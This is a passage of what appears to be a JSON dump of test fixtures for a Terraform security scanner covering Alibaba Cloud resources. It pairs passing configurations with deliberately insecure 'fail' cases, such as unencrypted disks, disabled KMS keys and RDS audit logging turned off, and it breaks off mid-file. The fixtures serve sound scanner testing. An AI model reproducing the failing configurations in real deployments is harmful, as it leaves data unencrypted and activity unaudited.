    "content": "resource \"alicloud_actiontrail_trail\" \"pass\" {\n  trail_name         = \"action-trail\"\n  oss_write_role_arn = \"acs:ram::1182725xxxxxxxxxxx\"\n  oss_bucket_name    = \"bucket_name\"\n  event_rw           = \"All\"\n  trail_region       = \"All\"\n}\n\nresource \"alicloud_actiontrail_trail\" \"pass2\" {\n  trail_name         = \"action-trail\"\n  oss_write_role_arn = \"acs:ram::1182725xxxxxxxxxxx\"\n  oss_bucket_name    = \"bucket_name\"\n  event_rw           = \"All\"\n}\n\n\nresource \"alicloud_actiontrail_trail\" \"fail\" {\n  trail_name         = \"action-trail\"\n  oss_write_role_arn = \"acs:ram::1182725xxxxxxxxxxx\"\n  oss_bucket_name    = \"bucket_name\"\n  event_rw           = \"All\"\n  trail_region       = \"cn-hangzhou\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_DiskEncryptedWithCMK/main.tf",
    "content": "resource \"alicloud_disk\" \"pass\" {\n  # cn-beijing\n  description = \"Hello ecs disk.\"\n  category    = \"cloud_efficiency\"\n  size        = \"30\"\n  encrypted   = true\n  kms_key_id  = \"2a6767f0-a16c-4679-a60f-13bf*****\"\n  tags = {\n    Name = \"TerraformTest\"\n  }\n}\n\nresource \"alicloud_disk\" \"unknown\" {\n  # cn-beijing\n  description = \"Hello ecs disk.\"\n  category    = \"cloud_efficiency\"\n  size        = \"30\"\n  snapshot_id = \"anyvalue\"\n  tags = {\n    Name = \"TerraformTest\"\n  }\n}\n\nresource \"alicloud_disk\" \"fail\" {\n  # cn-beijing\n  description = \"Hello ecs disk.\"\n  category    = \"cloud_efficiency\"\n  size        = \"30\"\n  tags = {\n    Name = \"TerraformTest\"\n  }\n}\n\nresource \"alicloud_disk\" \"fail2\" {\n  # cn-beijing\n  description = \"Hello ecs disk.\"\n  category    = \"cloud_efficiency\"\n  size        = \"30\"\n  encrypted   = false\n  kms_key_id  = \"2a6767f0-a16c-4679-a60f-13bf*****\"\n  tags = {\n    Name = \"TerraformTest\"\n  }\n}\n\nresource \"alicloud_disk\" \"fail3\" {\n  # cn-beijing\n  description = \"Hello ecs disk.\"\n  category    = \"cloud_efficiency\"\n  size        = \"30\"\n  encrypted   = true\n  tags = {\n    Name = \"TerraformTest\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_DiskIsEncrypted/main.tf",
    "content": "resource \"alicloud_disk\" \"pass\" {\n  # cn-beijing\n  description = \"Hello ecs disk.\"\n  category    = \"cloud_efficiency\"\n  size        = \"30\"\n  encrypted   = true\n  kms_key_id  = \"2a6767f0-a16c-4679-a60f-13bf*****\"\n  tags = {\n    Name = \"TerraformTest\"\n  }\n}\n\nresource \"alicloud_disk\" \"unknown\" {\n  # cn-beijing\n  description = \"Hello ecs disk.\"\n  category    = \"cloud_efficiency\"\n  size        = \"30\"\n  snapshot_id = \"anyvalue\"\n  tags = {\n    Name = \"TerraformTest\"\n  }\n}\n\nresource \"alicloud_disk\" \"fail\" {\n  # cn-beijing\n  description = \"Hello ecs disk.\"\n  category    = \"cloud_efficiency\"\n  size        = \"30\"\n  tags = {\n    Name = \"TerraformTest\"\n  }\n}\n\nresource \"alicloud_disk\" \"fail2\" {\n  # cn-beijing\n  description = \"Hello ecs disk.\"\n  category    = \"cloud_efficiency\"\n  size        = \"30\"\n  encrypted   = false\n  kms_key_id  = \"2a6767f0-a16c-4679-a60f-13bf*****\"\n  tags = {\n    Name = \"TerraformTest\"\n  }\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_K8sEnableNetworkPolicies/main.tf",
    "content": "\nprovider \"alicloud\" {\n}\n\n#happy path\nresource \"alicloud_cs_kubernetes\" \"pass\" {\n  worker_number         = 4\n  worker_vswitch_ids    = [\"vsw-id1\", \"vsw-id1\", \"vsw-id3\"]\n  master_vswitch_ids    = [\"vsw-id1\", \"vsw-id1\", \"vsw-id3\"]\n  master_instance_types = [\"ecs.n4.small\", \"ecs.sn1ne.xlarge\", \"ecs.n4.xlarge\"]\n  worker_instance_types = [\"ecs.n4.small\", \"ecs.sn1ne.xlarge\", \"ecs.n4.xlarge\"]\n\n  addons {\n    config = \"\"\n    name   = \"terway-eniip\"\n  }\n\n  pod_vswitch_ids = [\"vsw-id4\"]\n}\n\n# array of addons\nresource \"alicloud_cs_kubernetes\" \"pass2\" {\n  worker_number         = 4\n  worker_vswitch_ids    = [\"vsw-id1\", \"vsw-id1\", \"vsw-id3\"]\n  master_vswitch_ids    = [\"vsw-id1\", \"vsw-id1\", \"vsw-id3\"]\n  master_instance_types = [\"ecs.n4.small\", \"ecs.sn1ne.xlarge\", \"ecs.n4.xlarge\"]\n  worker_instance_types = [\"ecs.n4.small\", \"ecs.sn1ne.xlarge\", \"ecs.n4.xlarge\"]\n\n  addons {\n    config = \"\"\n    name   = \"flannel\"\n  }\n\n  addons {\n    name   = \"csi-plugin\"\n    config = \"\"\n  }\n\n  pod_cidr = \"10.0.1.0/16\"\n}\n\n\n#no addon\nresource \"alicloud_cs_kubernetes\" \"fail\" {\n  worker_number         = 4\n  worker_vswitch_ids    = [\"vsw-id1\", \"vsw-id1\", \"vsw-id3\"]\n  master_vswitch_ids    = [\"vsw-id1\", \"vsw-id2\", \"vsw-id3\"]\n  master_instance_types = [\"ecs.n4.small\", \"ecs.sn1ne.xlarge\", \"ecs.n4.xlarge\"]\n  worker_instance_types = [\"ecs.n4.small\", \"ecs.sn1ne.xlarge\", \"ecs.n4.xlarge\"]\n\n  pod_vswitch_ids = [\"vsw-id6\"]\n}\n\n#conflict with worker_vswitch_ids\nresource \"alicloud_cs_kubernetes\" \"fail2\" {\n  worker_number         = 4\n  worker_vswitch_ids    = [\"vsw-id1\", \"vsw-id1\", \"vsw-id3\"]\n  master_vswitch_ids    = [\"vsw-id2\", \"vsw-id2\", \"vsw-id3\"]\n  master_instance_types = [\"ecs.n4.small\", \"ecs.sn1ne.xlarge\", \"ecs.n4.xlarge\"]\n  worker_instance_types = [\"ecs.n4.small\", \"ecs.sn1ne.xlarge\", \"ecs.n4.xlarge\"]\n  addons {\n    config = \"\"\n    name   = \"terway-eniip\"\n  }\n  pod_vswitch_ids = [\"vsw-id1\"]\n}\n\n#conflict with master_vswitch_ids\nresource \"alicloud_cs_kubernetes\" \"fail3\" {\n  worker_number         = 4\n  worker_vswitch_ids    = [\"vsw-id1\", \"vsw-id1\", \"vsw-id3\"]\n  master_vswitch_ids    = [\"vsw-id1\", \"vsw-id2\", \"vsw-id3\"]\n  master_instance_types = [\"ecs.n4.small\", \"ecs.sn1ne.xlarge\", \"ecs.n4.xlarge\"]\n  worker_instance_types = [\"ecs.n4.small\", \"ecs.sn1ne.xlarge\", \"ecs.n4.xlarge\"]\n\n  addons {\n    config = \"\"\n    name   = \"terway-eniip\"\n  }\n  pod_vswitch_ids = [\"vsw-id2\"]\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_K8sNodePoolAutoRepair/main.tf",
    "content": "resource \"alicloud_cs_kubernetes_node_pool\" \"fail\" {\n  name           = var.name\n  cluster_id     = alicloud_cs_managed_kubernetes.default.0.id\n  vswitch_ids    = [alicloud_vswitch.default.id]\n  instance_types = [data.alicloud_instance_types.default.instance_types.0.id]\n\n  system_disk_category = \"cloud_efficiency\"\n  system_disk_size     = 40\n  key_name             = alicloud_key_pair.default.key_name\n\n  # comment out node_count and specify a new field desired_size\n  # node_count = 1\n\n  desired_size = 1\n\n  management {\n    auto_repair     = false #default\n    auto_upgrade    = false #default\n    surge           = 1\n    max_unavailable = 1\n  }\n}\n\nresource \"alicloud_cs_kubernetes_node_pool\" \"fail2\" {\n  name           = var.name\n  cluster_id     = alicloud_cs_managed_kubernetes.default.0.id\n  vswitch_ids    = [alicloud_vswitch.default.id]\n  instance_types = [data.alicloud_instance_types.default.instance_types.0.id]\n\n  system_disk_category = \"cloud_efficiency\"\n  system_disk_size     = 40\n  key_name             = alicloud_key_pair.default.key_name\n\n  # comment out node_count and specify a new field desired_size\n  # node_count = 1\n\n  desired_size = 1\n\n  management {\n#    auto_repair     = false #default\n    auto_upgrade    = false #default\n    surge           = 1\n    max_unavailable = 1\n  }\n}\n\nresource \"alicloud_cs_kubernetes_node_pool\" \"pass\" {\n  name           = var.name\n  cluster_id     = alicloud_cs_managed_kubernetes.default.0.id\n  vswitch_ids    = [alicloud_vswitch.default.id]\n  instance_types = [data.alicloud_instance_types.default.instance_types.0.id]\n\n  system_disk_category = \"cloud_efficiency\"\n  system_disk_size     = 40\n  key_name             = alicloud_key_pair.default.key_name\n\n  # comment out node_count and specify a new field desired_size\n  # node_count = 1\n\n  desired_size = 1\n\n  management {\n    auto_repair     = true\n    auto_upgrade    = false #default\n    surge           = 1\n    max_unavailable = 1\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_KMSKeyIsEnabled/main.tf",
    "content": "resource \"alicloud_kms_key\" \"pass\" {\n  description             = \"Hello KMS\"\n  pending_window_in_days  = \"7\"\n  status                  = \"Enabled\"\n  automatic_rotation      = \"Enabled\"\n}\n\nresource \"alicloud_kms_key\" \"fail\" {\n  description             = \"Hello KMS\"\n  pending_window_in_days  = \"7\"\n  status                  = \"Disabled\"\n}\n\nresource \"alicloud_kms_key\" \"pass2\" {\n  description             = \"Hello KMS\"\n  pending_window_in_days  = \"7\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_KMSKeyRotationIsEnabled/main.tf",
    "content": "resource \"alicloud_kms_key\" \"pass\" {\n  description             = \"Hello KMS\"\n  pending_window_in_days  = \"7\"\n  status                  = \"Enabled\"\n  automatic_rotation      = \"Enabled\"\n}\n\nresource \"alicloud_kms_key\" \"fail\" {\n  description             = \"Hello KMS\"\n  pending_window_in_days  = \"7\"\n  status                  = \"Enabled\"\n}\n\nresource \"alicloud_kms_key\" \"fail2\" {\n  description             = \"Hello KMS\"\n  pending_window_in_days  = \"7\"\n  status                  = \"Enabled\"\n  automatic_rotation      = \"Disabled\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_LaunchTemplateDisksAreEncrypted/main.tf",
    "content": "\nresource \"alicloud_ecs_launch_template\" \"fail\" {\n  launch_template_name           = \"tf_test_name\"\n  description                   = \"Test For Terraform\"\n  image_id                      = \"m-bp1i3ucxxxxx\"\n  host_name                     = \"host_name\"\n  instance_charge_type          = \"PrePaid\"\n  instance_name                 = \"instance_name\"\n  instance_type                 = \"ecs.instance_type\"\n  internet_charge_type          = \"PayByBandwidth\"\n  internet_max_bandwidth_in     = \"5\"\n  internet_max_bandwidth_out    = \"0\"\n  io_optimized                  = \"optimized\"\n  key_pair_name                 = \"key_pair_name\"\n  ram_role_name                 = \"ram_role_name\"\n  network_type                  = \"vpc\"\n  security_enhancement_strategy = \"Active\"\n  spot_price_limit              = \"5\"\n  spot_strategy                 = \"SpotWithPriceLimit\"\n  security_group_ids            = [\"sg-zkdfjaxxxxxx\"]\n  system_disk {\n    category             = \"cloud_ssd\"\n    description          = \"Test For Terraform\"\n    name                 = \"tf_test_name\"\n    size                 = \"40\"\n    delete_with_instance = \"false\"\n  }\n\n  resource_group_id = \"rg-zkdfjaxxxxxx\"\n  user_data         = \"xxxxxxx\"\n  vswitch_id        = \"vw-zwxscaxxxxxx\"\n  vpc_id            = \"vpc-asdfnbgxxxxxxx\"\n  zone_id           = \"cn-hangzhou-i\"\n\n  template_tags = {\n    Create = \"Terraform\"\n    For    = \"Test\"\n  }\n\n  network_interfaces {\n    name              = \"eth0\"\n    description       = \"hello1\"\n    primary_ip        = \"10.0.0.2\"\n    security_group_id = \"sg-asdfnbgxxxxxxx\"\n    vswitch_id        = \"vw-zkdfjaxxxxxx\"\n  }\n\n  data_disks {\n    name                 = \"disk1\"\n    description          = \"test1\"\n    delete_with_instance = \"true\"\n    category             = \"cloud\"\n    encrypted            = \"false\"\n    performance_level    = \"PL0\"\n    size                 = \"20\"\n  }\n  data_disks {\n    name                 = \"disk2\"\n    description          = \"test2\"\n    delete_with_instance = \"true\"\n    category             = \"cloud\"\n    encrypted            = \"false\"\n    performance_level    = \"PL0\"\n    size                 = \"20\"\n  }\n}\n\nresource \"alicloud_ecs_launch_template\" \"fail2\" {\n  launch_template_name           = \"tf_test_name\"\n  description                   = \"Test For Terraform\"\n  image_id                      = \"m-bp1i3ucxxxxx\"\n  host_name                     = \"host_name\"\n  instance_charge_type          = \"PrePaid\"\n  instance_name                 = \"instance_name\"\n  instance_type                 = \"ecs.instance_type\"\n  internet_charge_type          = \"PayByBandwidth\"\n  internet_max_bandwidth_in     = \"5\"\n  internet_max_bandwidth_out    = \"0\"\n  io_optimized                  = \"optimized\"\n  key_pair_name                 = \"key_pair_name\"\n  ram_role_name                 = \"ram_role_name\"\n  network_type                  = \"vpc\"\n  security_enhancement_strategy = \"Active\"\n  spot_price_limit              = \"5\"\n  spot_strategy                 = \"SpotWithPriceLimit\"\n  security_group_ids            = [\"sg-zkdfjaxxxxxx\"]\n  system_disk {\n    category             = \"cloud_ssd\"\n    description          = \"Test For Terraform\"\n    name                 = \"tf_test_name\"\n    size                 = \"40\"\n    delete_with_instance = \"false\"\n  }\n\n  resource_group_id = \"rg-zkdfjaxxxxxx\"\n  user_data         = \"xxxxxxx\"\n  vswitch_id        = \"vw-zwxscaxxxxxx\"\n  vpc_id            = \"vpc-asdfnbgxxxxxxx\"\n  zone_id           = \"cn-hangzhou-i\"\n\n  template_tags = {\n    Create = \"Terraform\"\n    For    = \"Test\"\n  }\n\n  network_interfaces {\n    name              = \"eth0\"\n    description       = \"hello1\"\n    primary_ip        = \"10.0.0.2\"\n    security_group_id = \"sg-asdfnbgxxxxxxx\"\n    vswitch_id        = \"vw-zkdfjaxxxxxx\"\n  }\n\n  data_disks {\n    name                 = \"disk1\"\n    description          = \"test1\"\n    delete_with_instance = \"true\"\n    category             = \"cloud\"\n    encrypted            = false\n    performance_level    = \"PL0\"\n    size                 = \"20\"\n  }\n\n}\n\nresource \"alicloud_ecs_launch_template\" \"fail3\" {\n  launch_template_name           = \"tf_test_name\"\n  description                   = \"Test For Terraform\"\n  image_id                      = \"m-bp1i3ucxxxxx\"\n  host_name                     = \"host_name\"\n  instance_charge_type          = \"PrePaid\"\n  instance_name                 = \"instance_name\"\n  instance_type                 = \"ecs.instance_type\"\n  internet_charge_type          = \"PayByBandwidth\"\n  internet_max_bandwidth_in     = \"5\"\n  internet_max_bandwidth_out    = \"0\"\n  io_optimized                  = \"optimized\"\n  key_pair_name                 = \"key_pair_name\"\n  ram_role_name                 = \"ram_role_name\"\n  network_type                  = \"vpc\"\n  security_enhancement_strategy = \"Active\"\n  spot_price_limit              = \"5\"\n  spot_strategy                 = \"SpotWithPriceLimit\"\n  security_group_ids            = [\"sg-zkdfjaxxxxxx\"]\n  system_disk {\n    category             = \"cloud_ssd\"\n    description          = \"Test For Terraform\"\n    name                 = \"tf_test_name\"\n    size                 = \"40\"\n    delete_with_instance = \"false\"\n  }\n\n  resource_group_id = \"rg-zkdfjaxxxxxx\"\n  user_data         = \"xxxxxxx\"\n  vswitch_id        = \"vw-zwxscaxxxxxx\"\n  vpc_id            = \"vpc-asdfnbgxxxxxxx\"\n  zone_id           = \"cn-hangzhou-i\"\n\n  template_tags = {\n    Create = \"Terraform\"\n    For    = \"Test\"\n  }\n\n  network_interfaces {\n    name              = \"eth0\"\n    description       = \"hello1\"\n    primary_ip        = \"10.0.0.2\"\n    security_group_id = \"sg-asdfnbgxxxxxxx\"\n    vswitch_id        = \"vw-zkdfjaxxxxxx\"\n  }\n\n  data_disks {\n    name                 = \"disk1\"\n    description          = \"test1\"\n    delete_with_instance = \"true\"\n    category             = \"cloud\"\n    performance_level    = \"PL0\"\n    size                 = \"20\"\n  }\n\n}\n\nresource \"alicloud_ecs_launch_template\" \"pass\" {\n  launch_template_name          = \"tf_test_name\"\n  description                   = \"Test For Terraform\"\n  image_id                      = \"m-bp1i3ucxxxxx\"\n  host_name                     = \"host_name\"\n  instance_charge_type          = \"PrePaid\"\n  instance_name                 = \"instance_name\"\n  instance_type                 = \"ecs.instance_type\"\n  internet_charge_type          = \"PayByBandwidth\"\n  internet_max_bandwidth_in     = \"5\"\n  internet_max_bandwidth_out    = \"0\"\n  io_optimized                  = \"optimized\"\n  key_pair_name                 = \"key_pair_name\"\n  ram_role_name                 = \"ram_role_name\"\n  network_type                  = \"vpc\"\n  security_enhancement_strategy = \"Active\"\n  spot_price_limit              = \"5\"\n  spot_strategy                 = \"SpotWithPriceLimit\"\n  security_group_ids            = [\"sg-zkdfjaxxxxxx\"]\n  system_disk {\n    category             = \"cloud_ssd\"\n    description          = \"Test For Terraform\"\n    name                 = \"tf_test_name\"\n    size                 = \"40\"\n    delete_with_instance = \"false\"\n  }\n\n  resource_group_id = \"rg-zkdfjaxxxxxx\"\n  user_data         = \"xxxxxxx\"\n  vswitch_id        = \"vw-zwxscaxxxxxx\"\n  vpc_id            = \"vpc-asdfnbgxxxxxxx\"\n  zone_id           = \"cn-hangzhou-i\"\n\n  template_tags = {\n    Create = \"Terraform\"\n    For    = \"Test\"\n  }\n\n  network_interfaces {\n    name              = \"eth0\"\n    description       = \"hello1\"\n    primary_ip        = \"10.0.0.2\"\n    security_group_id = \"sg-asdfnbgxxxxxxx\"\n    vswitch_id        = \"vw-zkdfjaxxxxxx\"\n  }\n\n  data_disks {\n    name                 = \"disk1\"\n    description          = \"test1\"\n    delete_with_instance = \"true\"\n    category             = \"cloud\"\n    encrypted            = true\n    performance_level    = \"PL0\"\n    size                 = \"20\"\n  }\n\n  data_disks {\n    name                 = \"disk2\"\n    description          = \"test2\"\n    delete_with_instance = \"true\"\n    category             = \"cloud\"\n    encrypted            = true\n    performance_level    = \"PL0\"\n    size                 = \"20\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_LogAuditRDSEnabled/main.tf",
    "content": "\nresource \"alicloud_log_audit\" \"fail\" {\n  display_name = \"tf-audit-test\"\n  aliuid       = \"12345678\"\n  variable_map = {\n    \"actiontrail_enabled\"             = \"true\",\n    \"actiontrail_ttl\"                 = \"180\",\n    \"actiontrail_ti_enabled\"          = \"true\",\n    \"oss_access_enabled\"              = \"true\",\n    \"oss_access_ttl\"                  = \"7\",\n    \"oss_sync_enabled\"                = \"true\",\n    \"oss_sync_ttl\"                    = \"180\",\n    \"oss_access_ti_enabled\"           = \"true\",\n    \"oss_metering_enabled\"            = \"true\",\n    \"oss_metering_ttl\"                = \"180\",\n    \"rds_enabled\"                     = \"false\",\n    \"rds_audit_collection_policy\"     = \"\",\n    \"rds_ttl\"                         = \"180\",\n    \"rds_ti_enabled\"                  = \"true\",\n    \"rds_slow_enabled\"                = \"true\",\n    \"rds_slow_collection_policy\"      = \"\",\n    \"rds_slow_ttl\"                    = \"180\",\n    \"rds_perf_enabled\"                = \"true\",\n    \"rds_perf_collection_policy\"      = \"\",\n    \"rds_perf_ttl\"                    = \"180\",\n    \"vpc_flow_enabled\"                = \"true\",\n    \"vpc_flow_ttl\"                    = \"7\",\n    \"vpc_flow_collection_policy\"      = \"\",\n    \"vpc_sync_enabled\"                = \"true\",\n    \"vpc_sync_ttl\"                    = \"180\",\n    \"polardb_enabled\"                 = \"true\",\n    \"polardb_audit_collection_policy\" = \"\",\n    \"polardb_ttl\"                     = \"180\",\n    \"polardb_ti_enabled\"              = \"true\",\n    \"polardb_slow_enabled\"            = \"true\",\n    \"polardb_slow_collection_policy\"  = \"\",\n    \"polardb_slow_ttl\"                = \"180\",\n    \"polardb_perf_enabled\"            = \"true\",\n    \"polardb_perf_collection_policy\"  = \"\",\n    \"polardb_perf_ttl\"                = \"180\",\n    \"drds_audit_enabled\"              = \"true\",\n    \"drds_audit_collection_policy\"    = \"\",\n    \"drds_audit_ttl\"                  = \"7\",\n    \"drds_sync_enabled\"               = \"true\",\n    \"drds_sync_ttl\"                   = \"180\",\n    \"drds_audit_ti_enabled\"           = \"true\",\n    \"slb_access_enabled\"              = \"true\",\n    \"slb_access_collection_policy\"    = \"\",\n    \"slb_access_ttl\"                  = \"7\",\n    \"slb_sync_enabled\"                = \"true\",\n    \"slb_sync_ttl\"                    = \"180\",\n    \"slb_access_ti_enabled\"           = \"true\",\n    \"bastion_enabled\"                 = \"true\",\n    \"bastion_ttl\"                     = \"180\",\n    \"bastion_ti_enabled\"              = \"true\",\n    \"waf_enabled\"                     = \"true\",\n    \"waf_ttl\"                         = \"180\",\n    \"waf_ti_enabled\"                  = \"true\",\n    \"cloudfirewall_enabled\"           = \"true\",\n    \"cloudfirewall_ttl\"               = \"180\",\n    \"cloudfirewall_ti_enabled\"        = \"true\",\n    \"ddos_coo_access_enabled\"         = \"true\",\n    \"ddos_coo_access_ttl\"             = \"180\",\n    \"ddos_coo_access_ti_enabled\"      = \"true\",\n    \"ddos_bgp_access_enabled\"         = \"true\",\n    \"ddos_bgp_access_ttl\"             = \"180\",\n    \"ddos_dip_access_enabled\"         = \"true\",\n    \"ddos_dip_access_ttl\"             = \"180\",\n    \"ddos_dip_access_ti_enabled\"      = \"true\",\n    \"sas_crack_enabled\"               = \"true\",\n    \"sas_dns_enabled\"                 = \"true\",\n    \"sas_http_enabled\"                = \"true\",\n    \"sas_local_dns_enabled\"           = \"true\",\n    \"sas_login_enabled\"               = \"true\",\n    \"sas_network_enabled\"             = \"true\",\n    \"sas_process_enabled\"             = \"true\",\n    \"sas_security_alert_enabled\"      = \"true\",\n    \"sas_security_hc_enabled\"         = \"true\",\n    \"sas_security_vul_enabled\"        = \"true\",\n    \"sas_session_enabled\"             = \"true\",\n    \"sas_snapshot_account_enabled\"    = \"true\",\n    \"sas_snapshot_port_enabled\"       = \"true\",\n    \"sas_snapshot_process_enabled\"    = \"true\",\n    \"sas_ttl\"                         = \"180\",\n    \"sas_ti_enabled\"                  = \"true\",\n    \"apigateway_enabled\"              = \"true\",\n    \"apigateway_ttl\"                  = \"180\",\n    \"apigateway_ti_enabled\"           = \"true\",\n    \"nas_enabled\"                     = \"true\",\n    \"nas_ttl\"                         = \"180\",\n    \"nas_ti_enabled\"                  = \"true\",\n    \"appconnect_enabled\"              = \"true\",\n    \"appconnect_ttl\"                  = \"180\",\n    \"cps_enabled\"                     = \"true\",\n    \"cps_ttl\"                         = \"180\",\n    \"cps_ti_enabled\"                  = \"true\",\n    \"k8s_audit_enabled\"               = \"true\",\n    \"k8s_audit_collection_policy\"     = \"\",\n    \"k8s_audit_ttl\"                   = \"180\",\n    \"k8s_event_enabled\"               = \"true\",\n    \"k8s_event_collection_policy\"     = \"\",\n    \"k8s_event_ttl\"                   = \"180\",\n    \"k8s_ingress_enabled\"             = \"true\",\n    \"k8s_ingress_collection_policy\"   = \"\",\n    \"k8s_ingress_ttl\"                 = \"180\"\n  }\n}\n\nresource \"alicloud_log_audit\" \"fail2\" {\n  display_name = \"tf-audit-test\"\n  aliuid       = \"12345678\"\n  variable_map = {\n    \"actiontrail_enabled\"             = \"true\",\n    \"actiontrail_ttl\"                 = \"180\",\n    \"actiontrail_ti_enabled\"          = \"true\",\n    \"oss_access_enabled\"              = \"true\",\n    \"oss_access_ttl\"                  = \"7\",\n    \"oss_sync_enabled\"                = \"true\",\n    \"oss_sync_ttl\"                    = \"180\",\n    \"oss_access_ti_enabled\"           = \"true\",\n    \"oss_metering_enabled\"            = \"true\",\n    \"oss_metering_ttl\"                = \"180\",\n    \"rds_enabled\"                     = \"\",\n    \"rds_audit_collection_policy\"     = \"\",\n    \"rds_ttl\"                         = \"180\",\n    \"rds_ti_enabled\"                  = \"true\",\n    \"rds_slow_enabled\"                = \"true\",\n    \"rds_slow_collection_policy\"      = \"\",\n    \"rds_slow_ttl\"                    = \"180\",\n    \"rds_perf_enabled\"                = \"true\",\n    \"rds_perf_collection_policy\"      = \"\",\n    \"rds_perf_ttl\"                    = \"180\",\n    \"vpc_flow_enabled\"                = \"true\",\n    \"vpc_flow_ttl\"                    = \"7\",\n    \"vpc_flow_collection_policy\"      = \"\",\n    \"vpc_sync_enabled\"                = \"true\",\n    \"vpc_sync_ttl\"                    = \"180\",\n    \"polardb_enabled\"                 = \"true\",\n    \"polardb_audit_collection_policy\" = \"\",\n    \"polardb_ttl\"                     = \"180\",\n    \"polardb_ti_enabled\"              = \"true\",\n    \"polardb_slow_enabled\"            = \"true\",\n    \"polardb_slow_collection_policy\"  = \"\",\n    \"polardb_slow_ttl\"                = \"180\",\n    \"polardb_perf_enabled\"            = \"true\",\n    \"polardb_perf_collection_policy\"  = \"\",\n    \"polardb_perf_ttl\"                = \"180\",\n    \"drds_audit_enabled\"              = \"true\",\n    \"drds_audit_collection_policy\"    = \"\",\n    \"drds_audit_ttl\"                  = \"7\",\n    \"drds_sync_enabled\"               = \"true\",\n    \"drds_sync_ttl\"                   = \"180\",\n    \"drds_audit_ti_enabled\"           = \"true\",\n    \"slb_access_enabled\"              = \"true\",\n    \"slb_access_collection_policy\"    = \"\",\n    \"slb_access_ttl\"                  = \"7\",\n    \"slb_sync_enabled\"                = \"true\",\n    \"slb_sync_ttl\"                    = \"180\",\n    \"slb_access_ti_enabled\"           = \"true\",\n    \"bastion_enabled\"                 = \"true\",\n    \"bastion_ttl\"                     = \"180\",\n    \"bastion_ti_enabled\"              = \"true\",\n    \"waf_enabled\"                     = \"true\",\n    \"waf_ttl\"                         = \"180\",\n    \"waf_ti_enabled\"                  = \"true\",\n    \"cloudfirewall_enabled\"           = \"true\",\n    \"cloudfirewall_ttl\"               = \"180\",\n    \"cloudfirewall_ti_enabled\"        = \"true\",\n    \"ddos_coo_access_enabled\"         = \"true\",\n    \"ddos_coo_access_ttl\"             = \"180\",\n    \"ddos_coo_access_ti_enabled\"      = \"true\",\n    \"ddos_bgp_access_enabled\"         = \"true\",\n    \"ddos_bgp_access_ttl\"             = \"180\",\n    \"ddos_dip_access_enabled\"         = \"true\",\n    \"ddos_dip_access_ttl\"             = \"180\",\n    \"ddos_dip_access_ti_enabled\"      = \"true\",\n    \"sas_crack_enabled\"               = \"true\",\n    \"sas_dns_enabled\"                 = \"true\",\n    \"sas_http_enabled\"                = \"true\",\n    \"sas_local_dns_enabled\"           = \"true\",\n    \"sas_login_enabled\"               = \"true\",\n    \"sas_network_enabled\"             = \"true\",\n    \"sas_process_enabled\"             = \"true\",\n    \"sas_security_alert_enabled\"      = \"true\",\n    \"sas_security_hc_enabled\"         = \"true\",\n    \"sas_security_vul_enabled\"        = \"true\",\n    \"sas_session_enabled\"             = \"true\",\n    \"sas_snapshot_account_enabled\"    = \"true\",\n    \"sas_snapshot_port_enabled\"       = \"true\",\n    \"sas_snapshot_process_enabled\"    = \"true\",\n    \"sas_ttl\"                         = \"180\",\n    \"sas_ti_enabled\"                  = \"true\",\n    \"apigateway_enabled\"              = \"true\",\n    \"apigateway_ttl\"                  = \"180\",\n    \"apigateway_ti_enabled\"           = \"true\",\n    \"nas_enabled\"                     = \"true\",\n    \"nas_ttl\"                         = \"180\",\n    \"nas_ti_enabled\"                  = \"true\",\n    \"appconnect_enabled\"              = \"true\",\n    \"appconnect_ttl\"                  = \"180\",\n    \"cps_enabled\"                     = \"true\",\n    \"cps_ttl\"                         = \"180\",\n    \"cps_ti_enabled\"                  = \"true\",\n    \"k8s_audit_enabled\"               = \"true\",\n    \"k8s_audit_collection_policy\"     = \"\",\n    \"k8s_audit_ttl\"                   = \"180\",\n    \"k8s_event_enabled\"               = \"true\",\n    \"k8s_event_collection_policy\"     = \"\",\n    \"k8s_event_ttl\"                   = \"180\",\n    \"k8s_ingress_enabled\"             = \"true\",\n    \"k8s_ingress_collection_policy\"   = \"\",\n    \"k8s_ingress_ttl\"                 = \"180\"\n  }\n}\n\nresource \"alicloud_log_audit\" \"pass\" {\n  display_name = \"tf-audit-test\"\n  aliuid       = \"12345678\"\n  variable_map = {\n    \"actiontrail_enabled\"             = \"true\",\n    \"actiontrail_ttl\"                 = \"180\",\n    \"actiontrail_ti_enabled\"          = \"true\",\n    \"oss_access_enabled\"              = \"true\",\n    \"oss_access_ttl\"                  = \"7\",\n    \"oss_sync_enabled\"                = \"true\",\n    \"oss_sync_ttl\"                    = \"180\",\n    \"oss_access_ti_enabled\"           = \"true\",\n    \"oss_metering_enabled\"            = \"true\",\n    \"oss_metering_ttl\"                = \"180\",\n    \"rds_enabled\"                     = \"true\",\n    \"rds_audit_collection_policy\"     = \"\",\n    \"rds_ttl\"                         = \"180\",\n    \"rds_ti_enabled\"                  = \"true\",\n    \"rds_slow_enabled\"                = \"true\",\n    \"rds_slow_collection_policy\"      = \"\",\n    \"rds_slow_ttl\"                    = \"180\",\n    \"rds_perf_enabled\"                = \"true\",\n    \"rds_perf_collection_policy\"      = \"\",\n    \"rds_perf_ttl\"                    = \"180\",\n    \"vpc_flow_enabled\"                = \"true\",\n    \"vpc_flow_ttl\"                    = \"7\",\n    \"vpc_flow_collection_policy\"      = \"\",\n    \"vpc_sync_enabled\"                = \"true\",\n    \"vpc_sync_ttl\"                    = \"180\",\n    \"polardb_enabled\"                 = \"true\",\n    \"polardb_audit_collection_policy\" = \"\",\n    \"polardb_ttl\"                     = \"180\",\n    \"polardb_ti_enabled\"              = \"true\",\n    \"polardb_slow_enabled\"            = \"true\",\n    \"polardb_slow_collection_policy\"  = \"\",\n    \"polardb_slow_ttl\"                = \"180\",\n    \"polardb_perf_enabled\"            = \"true\",\n    \"polardb_perf_collection_policy\"  = \"\",\n    \"polardb_perf_ttl\"                = \"180\",\n    \"drds_audit_enabled\"              = \"true\",\n    \"drds_audit_collection_policy\"    = \"\",\n    \"drds_audit_ttl\"                  = \"7\",\n    \"drds_sync_enabled\"               = \"true\",\n    \"drds_sync_ttl\"                   = \"180\",\n    